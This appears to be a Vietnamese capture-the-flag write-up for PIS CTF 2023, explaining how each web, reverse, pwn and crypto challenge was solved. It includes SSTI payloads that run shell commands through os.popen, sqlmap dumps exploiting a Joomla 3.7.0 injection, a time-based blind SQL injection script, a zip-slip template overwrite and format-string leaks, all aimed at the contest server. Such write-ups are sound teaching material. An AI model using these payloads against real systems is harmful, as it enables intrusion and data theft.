Try   HackMD

(writeup) PIS CTF 2023

WEB

Super Hero

  • Trang web có 1 chỗ nhận input và sau khi xem qua một lượt thì server dùng python => ssti, thử qua payload và thành công đọc flag
    Payload:
http://54.169.55.172:8089/?user={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag.txt%27).read()}}

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

PISCTF{s0_3zsy_SSTI_F0R_K1d}


Chôm la

  • Trang web khi giải đang chạy thì mở vào là thấy joomla 3.7.0 searcrh google thì ra cve, nên chạy sqlmap là ra flag
sqlmap "http://54.169.55.172:8000/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D flag -T flag -C flag --dump
  • Ra flag dưới dạng base64 sau đấy decode ta có flag:
echo UElTQ1RGe1BIUF9KMDBtbGFfM183XzBfIV9DVkV9 | base64 -d
PISCTF{PHP_J00mla_3_7_0_!_CVE}

PISCTF{PHP_J00mla_3_7_0_!_CVE}


sql-routed

  • Trang web mở ra thì thấy rõ bị lỗi sql injection, sau khi test thì thấy có thể sql blind
  • Dùng script sau để đump tên db->table->column->flag:
import requests
from string import digits,ascii_letters



headers={"Content-Type" : "application/x-www-form-urlencoded"}


url = "http://54.169.55.172:1001" 
pos = 1
exfil = ""
printable = "," + digits + ascii_letters + "!@#$%^&*()_+=-/><\\'\"" 
column = "pass"
table = "flag"
while(True):
    for i in printable:
        data = f'username=\'UNION SELECT IF(ascii(substring(group_concat({column}),{pos},1)) = {str(ord(i))},sleep(3),\'a\'),2,3,4 FROM {table} LIMIT 1,2-- -'
        r = requests.post(url=url,data=data,headers=headers)
        if r.elapsed.total_seconds() > 3:
            exfil += i
            pos += 1
            print(exfil)
            break
        if i == '"':
            exit()

PISCTF{qs89QdAs9A}


Blog for "LoveSicker"

  • Trang web bị lỗi sql injection tại tính năng đăng ký

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • Dùng sqlmap để dump databse name và table
sqlmap.py -r request.txt -p username2 --dump

  • Tiếp tục dùng sqlmap để dump flag
sqlmap.py -r request.txt -p username2 -D blog -T flag -C fl4gg --dump

PISCTF{SQLi_1s_3asy_R1ght?}


PIS Firmware

  • Bài bị zipslip tại tính năng upload firmware
  • Dùng evilarc để tạo file exploit lỗi zipslip
python2 evilarc.py index.html -f exploit.tar.gz -o unix -p app/application/templates
  • Ghi đè file /templates/index.html với nội dung
<!DOCTYPE html>
<html>
    <head>
        <!-- head definitions go here -->
    </head>
    <body>
        <h1>{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat flag").read()}}{%endif%}{% endfor %}</h1>
    </body>
</html>

PISCTF{p1s_f1rmvv@r3_7l@g}


REVERSE

SoEz

  • Decompile cái file và rename các biến thì ta biết được chương trình đọc flag vào biến flag_buf và đọc 16 giá trị vào biến rand_buf lấy từ rand() với srand(time(0)):

  • Sau khi đọc xong 2 biến thì chương trình thực hiện xor từng byte một. Ý tưởng ở đây là vì chương trình 32 bit nên giá trị trả về của time(0) sẽ là một số 32 bit. Do đó ta hoàn toàn có thể bruteforce giá trị này để tìm được lại các giá trị của rand_buf. Để biết được liệu rand_buf là đúng chưa thì ta xor thử 4 byte đầu của rand_buf với encrypted flag_buf nếu ra giống 4 byte đầu của định dạng file png thì là key cần tìm. Ta có script bruteforce như sau:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main()
{
    unsigned long int seed = 0;
    unsigned char randkey[16];
    int fd;
    unsigned char cipher[16];
    unsigned char plain[16];
    unsigned char origin[16];

    origin[0] = 0x89;
    origin[1] = 0x50;
    origin[2] = 0x4e;
    origin[3] = 0x47;

    fd = open("flag.png.encrypted", 0, 0);
    if (fd < 0)
    {
        puts("Cannot open file!");
        exit(-1);
    }
    read(fd, cipher, 16);
    close(fd);

    while (1)
    {
        srand(seed);
        for (int i = 0; i<16; i++)
            randkey[i] = rand() % 255;

        for (int i = 0; i<16; i++)
            plain[i] = cipher[i] ^ randkey[i];

        if (!strncmp(plain, origin, 4))
        {
            for (int i = 0; i<16; i++)
                printf("%02x", randkey[i]);
            puts("");
            exit(0);
        }
        seed++;
    }

    return 0;
}
  • Và ta brute được key là giá trị đã chuyển về chuỗi hex f3e38606e72186d3aee2027f0e5e174f
  • Do đó ta viết script python để xor lại về file flag:
from pwn import *
from binascii import unhexlify

key = unhexlify(b'f3e38606e72186d3aee2027f0e5e174f')
plain = b''

with open('flag.png.encrypted', 'rb') as f:
	cipher = f.read()

for i in range(len(cipher)):
	plain += p8(cipher[i] ^ key[i % 16])

with open("flag.png", 'wb') as f:
	f.write(plain)
  • Và ta ra được flag:

PISCTF{G0oDbY3_2022_4nd_w3Lc0mE_2023}


Lucky Money

  • Với bài này, ta nhập vào 1 chuỗi có độ dài 32 byte và sau đó, chương trình sẽ tách chuỗi này ra làm 2 nửa với mỗi nửa 16 byte. Nửa đầu sẽ được giữ nguyên nhưng nửa sau sẽ bị đảo lại và sẽ chèn vào các byte nửa đầu như sau:
nửa đầu: 12345678
nửa sau: abcdefgh

đảo ngược nửa sau: hgfedcba
chèn nửa sau vào nửa đầu:
nửa đầu: 1 2 3 4 5 6 7 8
nửa sau:  h g f e d c b a
kết quả: 1h2g3f4e5d6c7b8a
  • Sau khi đã hoán đổi vị trí xong, nó sẽ lấy chuỗi đó xor từng byte với byte 0x17:

  • Sau đó nó kiểm tra nếu các byte bằng biến check thì thông báo chính xác:

  • Vậy ý tưởng sẽ là lấy biến check xor từng byte với 0x17 và rồi từ cái chuỗi đã hoán vị, ta sẽ dùng hàm sau để lấy lại thứ tự ban đầu:
def decrypt(inp):
	part1 = ''
	part2 = ''

	count = 0
	while count < 32:

		if count %2 == 0:
			part1 += inp[count]
		else:
			part2 += inp[count]

		count += 1
	return part1 + part2[::-1]
  • Vậy script giải là:
from pwn import *

def decrypt(inp):
	part1 = ''
	part2 = ''
	count = 0
	while count < 32:
		if count %2 == 0:
			part1 += inp[count]
		else:
			part2 += inp[count]
		count += 1
	return part1 + part2[::-1]

arr = b'Gj^(DNTrCyQ\x27lZSHxNH|NT\x27bb[HH`C#y'
arr = xor(arr, 0x17).decode()

print(decrypt(arr))

PISCTF{Do_Y0u_w4nT_LuCkY_M0neY?}


GoodLuck

  • Bài này tác giả cho hint là "PE file" thì mình check lại offset trỏ đến IMAGE_FILE_HEADER bị thiếu signature 'PE' sau khi thêm vào thì load vào IDA bình thường

  • Bài này sử dụng RC4 để mã hóa Flag và dùng RSA để mã hóa key

  • Sau khi dùng những data từ tác giả cho để phục hồi key và flag:
# recover key 
d = 15773
v9 = [17103,18319,8970,8433,5203,8970,11112,5203,5203,3531]
mod =  20711
for i in v9:
	print(chr(pow(i, d, mod)),end = "")

print()
# recover flag
from arc4 import ARC4
enc = [89,168,32,137,88,112,75,103,117,43,211,139,93,154,163,66,212,153,139,211,133,210,107,159,250,164,123,36,201,20,149,139,220]
arc4 = ARC4(b'4m_s0_p00r')
print(arc4.decrypt(bytes(enc)))

Flag: PISCTF{gjmm3_m0n3y_4nd_u_d0n3_:3}


PWN

Level1

  • check ida

  • checksec

  • điều mình cần khai thác nằm ở biến something
  • ngay bên dưới có hàm so sánh strncmp giữa biến somethingsource
  • check source thử thì ta nhận được:

'>R!+Q.VEHr'

  • và lệnh xor giữa somethingsource sẽ ra flag cho mình
  • mở python và tìm byte xor giữa 'IamHaCer!!' và '>R!+Q.VEHr'

w3Lc0m37iS

  • vậy thì cái script mình sẽ gửi full byte của name, rồi chèn cái dữ liệu của mình vào biến something
  • viết script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./level1',checksec=False)

p = remote ('54.169.55.172',1024)

p.sendlineafter(b'name: ', b'A'*40)


payload = 'w3Lc0m37iS'

p.sendafter(b':))))',payload)

p.interactive()

  • submit flag

PISCTF{My_M1nd_50_3z_RI9ht_?}


Level2

  • check ida

  • mô phỏng lại phép xor của chương trình
def xor(val, key):
    payload = b''
    for i in range(0, len(key)):
        payload += chr( val[i] ^ key[i] ).encode()
    return payload
  • tạo payload với 'IamHaCer!!' để thực thi read flag
payload = xor(b'>R!+Q.VEHr', b'IamHaCer!!')
  • do flag được ghi trên stack, tận dụng bug fmt %x tại name để leak flag ra
name = b'%12$x_%13$x_%14$x_%15$x'
name = b'%16$x_%17$x'
  • convert từ hex sang ascii ta có được flag

CRYPTO

Easy Crypto

  • Đề bài cho: 56369025297691660392004556373781623445966955195801799383478576454199136227591253023415024495794577295554691617060609433091389
  • Rất đơn giản ta chỉ việc chuyển sang dạng bytes được dạng base64 và decode chúng là ta có flag:
from Crypto.Util.number import *
import base64
a=56369025297691660392004556373781623445966955195801799383478576454199136227591253023415024495794577295554691617060609433091389
b=(long_to_bytes(a)) # dãy base64 #b'UElTQ1RGe1RoMXNfMXNfNF9tM3NTQGczX0ZyMG1fQ3JZcHQwfQ=='
print(base64.b64decode(b))

PISCTF{Th1s_1s_4_m3sS@g3_Fr0m_CrYpt0}


Just For Fun

  • Dựa vào phần mô tả nhắc đến "vũ điệu lắc hông" và source đã cho mình đoán đến Monoalphabetic substitution cipher.
  • Mình cho phần ciphertext vào tool https://www.boxentriq.com/code-breaking/cryptogram để giải thì thấy được một chữ khá giống alphabetic như dưới hình

  • Mình đoán ngay là chữ đằng sau là alphabetic

  • Mình có được flag:

PISCTF{have_fun_with_mono_alphabetic}